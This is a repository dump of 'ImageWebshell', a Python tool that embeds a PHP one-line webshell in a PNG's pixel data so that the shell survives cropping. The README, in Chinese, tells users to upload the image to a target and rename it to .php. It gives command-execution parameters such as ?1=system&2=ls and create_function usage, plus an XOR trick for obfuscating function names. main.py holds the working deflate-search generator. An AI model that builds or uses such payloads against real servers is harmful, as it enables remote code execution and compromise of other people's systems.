├── .envrc ├── .gitignore ├── LICENSE ├── README.md ├── flake.lock ├── flake.nix ├── image_webshell ├── __init__.py ├── __main__.py └── main.py ├── requirements.txt └── setup.py /.envrc: -------------------------------------------------------------------------------- 1 | use flake 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/latest/usage/project/#working-with-version-control 110 | .pdm.toml 111 | .pdm-python 112 | .pdm-build/ 113 | 114 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 115 | __pypackages__/ 116 | 117 | # Celery stuff 118 | celerybeat-schedule 119 | celerybeat.pid 120 | 121 | # SageMath parsed files 122 | *.sage.py 123 | 124 | # Environments 125 | .env 126 | .venv 127 | env/ 128 | venv/ 129 | ENV/ 130 | env.bak/ 131 | venv.bak/ 132 | 133 | # Spyder project settings 134 | .spyderproject 135 | .spyproject 136 | 137 | # Rope project settings 138 | .ropeproject 139 | 140 | # mkdocs documentation 141 | /site 142 | 143 | # mypy 144 | .mypy_cache/ 145 | .dmypy.json 146 | dmypy.json 147 | 148 | # Pyre type checker 149 | .pyre/ 150 | 151 | # pytype static type analyzer 152 | .pytype/ 153 | 154 | # Cython debug symbols 155 | cython_debug/ 156 | 157 | # PyCharm 158 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 159 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 160 | # and can be added to the global gitignore or merged into this file. For a more nuclear 161 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 162 | #.idea/ 163 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Marven11 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ImageWebshell 2 | 3 | 将一句话木马隐藏到像素颜色中,生成抗裁剪的PNG图片马 4 | 5 | 除了生成一句话木马之外还支持生成带有任意文本的PNG图片 6 | 7 | ## 安装 8 | 9 | `pip install -r requirements.txt` 10 | 11 | ## 使用 12 | 13 | `python -m image_webshell`,然后将`output.png`传到目标上,后缀改为PHP即可 14 | 15 | 命令行选项: 16 | 17 | - `text`: 指定webshell文本,注意不要使用会被deflate过度压缩的文本(即不要带有重复字符或者连续的小写字母等) 18 | - `width`: 指定图像的宽度,不宜太宽 19 | - `height`: 指定图像的高度 20 | - `output`: 图像保存地址 21 | 22 | ## 关于自定义文本 23 | 24 | 项目在其他工具的基础上实现了自定义文本的功能,但是因为PNG算法需要对数据进行deflate压缩,所以需要保证文本可以被deflate生成(也就是存在某一段二进制被deflate压缩后产生所需的文本) 25 | 26 | 所以文本一般需要满足这些性质: 27 | 28 | - 不要带有连续的大小写字母(如`system`) 29 | - 不要带有连续的空格 30 | - 不要过短 31 | - 不能太长 32 | 33 | 经过测试这些文本是可以的: 34 | 35 | - ``: 传参`?1=system&2=ls`可以执行命令 36 | - ``: 一句话木马,GET传参`?0=create_function`,密码为1 37 | - ``: phpinfo,其中`"=<)L3=5"^"MTY%][Z"`代表字符串`"phpinfo"` 38 | 39 | 如上方phpinfo的异或字符串可以用下列简单的python代码生成: 40 | 41 | ```python 42 | import random 43 | 44 | s = "phpinfo" 45 | chrs = [i for i in range(32, 127) if chr(i) not in ["'", '"', "\\", "`"]] 46 | xor_maps = {(a, b): a ^ b for a in chrs for b in chrs} 47 | l = [random.choice([tpl for tpl, c in xor_maps.items() if c == ord(ch)]) for ch in s] 48 | print(f"{''.join(chr(a) for a, _ in l)!r}^{''.join(chr(b) for _, b in l)!r}") 49 | ``` -------------------------------------------------------------------------------- /flake.lock: -------------------------------------------------------------------------------- 1 | { 2 | "nodes": { 3 | "nixpkgs": { 4 | "locked": { 5 | "lastModified": 0, 6 | "narHash": "sha256-nNJHJ9kfPdzYsCOlHOnbiiyKjZUW5sWbwx3cakg3/C4=", 7 | "path": "/nix/store/0z4i8wyg3ymm7kkb1gk2wyh08x230c6z-source", 8 | "type": "path" 9 | }, 10 | "original": { 11 | "id": "nixpkgs", 12 | "type": "indirect" 13 | } 14 | }, 15 | "nixpkgsOld": { 16 | "locked": { 17 | "lastModified": 1613714181, 18 | "narHash": "sha256-R6zAOVJYbw68+9u98ZZKRxebOiA0h/Ci049ETSz0Kfg=", 19 | "type": "tarball", 20 | "url": "https://github.com/NixOS/nixpkgs/archive/b4e193a23a1c5d8794794e65cabf1f1135d07fd9.tar.gz" 21 | }, 22 | "original": { 23 | "type": "tarball", 24 | "url": "https://github.com/NixOS/nixpkgs/archive/b4e193a23a1c5d8794794e65cabf1f1135d07fd9.tar.gz" 25 | } 26 | }, 27 | "root": { 28 | "inputs": { 29 | "nixpkgs": "nixpkgs", 30 | "nixpkgsOld": "nixpkgsOld", 31 | "utils": "utils" 32 | } 33 | }, 34 | "systems": { 35 | "locked": { 36 | "lastModified": 1681028828, 37 | "narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=", 38 | "owner": "nix-systems", 39 | "repo": "default", 40 | "rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e", 41 | "type": "github" 42 | }, 43 | "original": { 44 | "owner": "nix-systems", 45 | "repo": "default", 46 | "type": "github" 47 | } 48 | }, 49 | "utils": { 50 | "inputs": { 51 | "systems": "systems" 52 | }, 53 | "locked": { 54 | "lastModified": 1710146030, 55 | "narHash": "sha256-SZ5L6eA7HJ/nmkzGG7/ISclqe6oZdOZTNoesiInkXPQ=", 56 | "owner": "numtide", 57 | "repo": "flake-utils", 58 | "rev": "b1d9ab70662946ef0850d488da1c9019f3a9752a", 59 | "type": "github" 60 | }, 61 | "original": { 62 | "owner": "numtide", 63 | "repo": "flake-utils", 64 | "type": "github" 65 | } 66 | } 67 | }, 68 | "root": "root", 69 | "version": 7 70 | } 71 | -------------------------------------------------------------------------------- /flake.nix: -------------------------------------------------------------------------------- 1 | { 2 | description = "Python venv development template"; 3 | 4 | inputs = { 5 | utils.url = "github:numtide/flake-utils"; 6 | nixpkgsOld.url = "https://github.com/NixOS/nixpkgs/archive/b4e193a23a1c5d8794794e65cabf1f1135d07fd9.tar.gz"; 7 | }; 8 | 9 | outputs = 10 | { self 11 | , nixpkgs 12 | , nixpkgsOld 13 | , utils 14 | , ... 15 | }: 16 | utils.lib.eachDefaultSystem (system: 17 | let 18 | pkgs = import nixpkgs { inherit system; }; 19 | pkgsOld = import nixpkgsOld { inherit system; }; 20 | pythonPackages = pkgs.python3Packages; 21 | python37Packages = pkgsOld.python37Packages; 22 | in 23 | { 24 | devShells.default = pkgs.mkShell { 25 | name = "python-venv"; 26 | venvDir = "./.venv"; 27 | buildInputs = with pythonPackages; [ 28 | python 29 | venvShellHook 30 | notebook 31 | ipython 32 | pillow 33 | fire 34 | numpy 35 | ]; 36 | postVenvCreation = '' 37 | unset SOURCE_DATE_EPOCH 38 | pip install -r requirements.txt 39 | ''; 40 | postShellHook = '' 41 | # allow pip to install wheels 42 | unset SOURCE_DATE_EPOCH 43 | ''; 44 | }; 45 | 46 | packages.default = with pythonPackages; buildPythonApplication { 47 | pname = "image-webshell"; 48 | version = "0.0.3"; 49 | doCheck = false; 50 | 51 | build-system = [ 52 | setuptools 53 | setuptools-scm 54 | ]; 55 | 56 | dependencies = [ 57 | pillow 58 | fire 59 | numpy 60 | ]; 61 | src = ./.; 62 | }; 63 | }); 64 | } 65 | -------------------------------------------------------------------------------- /image_webshell/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Marven11/ImageWebshell/852ce2bfe0af4dbeb4793f4827b9f42f2f87d44b/image_webshell/__init__.py -------------------------------------------------------------------------------- /image_webshell/__main__.py: -------------------------------------------------------------------------------- 1 | from fire import Fire 2 | from .main import generate 3 | 4 | 5 | def main(): 6 | Fire(generate) 7 | 8 | if __name__ == "__main__": 9 | main() -------------------------------------------------------------------------------- /image_webshell/main.py: -------------------------------------------------------------------------------- 1 | from pathlib import Path 2 | import zlib 3 | import numpy as np 4 | from PIL import Image 5 | 6 | # credit: 7 | # https://web.archive.org/web/20200109233507/https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ 8 | # https://github.com/huntergregal/PNG-IDAT-Payload-Generator 9 | 10 | 11 | def compress(b: bytes): 12 | zobj = zlib.compressobj(strategy=zlib.Z_FIXED) 13 | compressed = zobj.compress(b) 14 | compressed += zobj.flush() 15 | return compressed 16 | 17 | 18 | def filter_one(payload: bytes): 19 | lst = list(payload) 20 | for i in range(len(lst) - 3): 21 | lst[i + 3] = (lst[i + 3] + lst[i]) % 256 22 | return lst 23 | 24 | 25 | def filter_three(payload: bytes): 26 | lst = list(payload) 27 | for i in range(len(lst) - 3): 28 | lst[i + 3] = (lst[i + 3] + (lst[i] // 2)) % 256 29 | return lst 30 | 31 | 32 | class DeflateSearcher: 33 | def __init__(self, target: bytes, max_call_each_bytes=256): 34 | self.target = target 35 | self.max_call_each_bytes = max_call_each_bytes 36 | self.max_call_counter = len(target) * max_call_each_bytes 37 | 38 | def find(self): 39 | for i in range(256): 40 | self.max_call_counter = len(self.target) * self.max_call_each_bytes 41 | result = self.dfs(bytes([i]), 0) 42 | if result: 43 | return result 44 | return None 45 | 46 | def dfs(self, known: bytes, known_contains: int): 47 | if self.max_call_counter == 0: 48 | return None 49 | self.max_call_counter -= 1 50 | if len(self.target) == known_contains: 51 | return known 52 | for i in range(0, 256): 53 | result = compress(known + bytes([i])) 54 | if self.target[: known_contains + 1] in result: 55 | child_result = self.dfs(known + bytes([i]), known_contains + 1) 56 | if child_result: 57 | return child_result 58 | return None 59 | 60 | 61 | def generate( 62 | text: str = "", 63 | height: int = 32, 64 | width: int = 32, 65 | output: str = "output.png", 66 | ): 67 | payload = DeflateSearcher(target=text.encode()).find() 68 | assert payload is not None, "Generate payload failed, consider using other webshell" 69 | assert len(payload) * 2 / 3 < width, "Width is too low!" 70 | arr = np.array(filter_one(payload) + filter_three(payload)) 71 | image = None 72 | image = np.zeros((height * width * 3), dtype=np.uint8) 73 | image[: arr.shape[0]] = arr 74 | image = image.reshape([height, width, 3]) 75 | 76 | Image.fromarray(image).save(output, optimize=False, compress_level=6) 77 | if text.encode() not in Path(output).read_bytes(): 78 | print("Generate failed") 79 | exit(1) 80 | if text == "": 81 | print("Usage: shell.php?0=create_function, password is 1") 82 | 83 | 84 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | numpy 2 | pillow 3 | fire -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | import setuptools 2 | 3 | with open("README.md", "r", encoding="utf-8") as f: 4 | long_description = f.read() 5 | 6 | with open("requirements.txt", "r", encoding="utf-8") as f: 7 | requirements = [line.strip() for line in f.readlines()] 8 | 9 | setuptools.setup( 10 | name="image_webshell", 11 | version="0.0.3", 12 | author="Marven11", 13 | author_email="marven11@example.com", 14 | description="Embed webshell and other text into a png", 15 | long_description=long_description, 16 | long_description_content_type="text/markdown", 17 | url="https://github.com/Marven11/ImageWebshell", 18 | packages=setuptools.find_packages(), 19 | classifiers=[ 20 | "Programming Language :: Python :: 3.8", 21 | "Operating System :: OS Independent", 22 | ], 23 | install_requires=requirements, 24 | package_data={}, 25 | entry_points={ 26 | "console_scripts": [ 27 | "image_webshell=image_webshell.__main__:main", 28 | ] 29 | }, 30 | ) 31 | --------------------------------------------------------------------------------